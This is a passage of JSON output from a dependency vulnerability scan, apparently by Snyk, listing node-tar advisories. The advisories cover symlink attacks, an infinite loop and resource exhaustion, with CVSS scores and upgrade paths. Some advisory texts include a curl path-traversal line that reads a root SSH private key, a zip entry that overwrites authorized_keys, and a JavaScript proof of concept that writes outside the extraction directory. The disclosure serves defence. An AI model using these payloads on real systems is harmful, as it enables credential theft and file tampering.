to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", 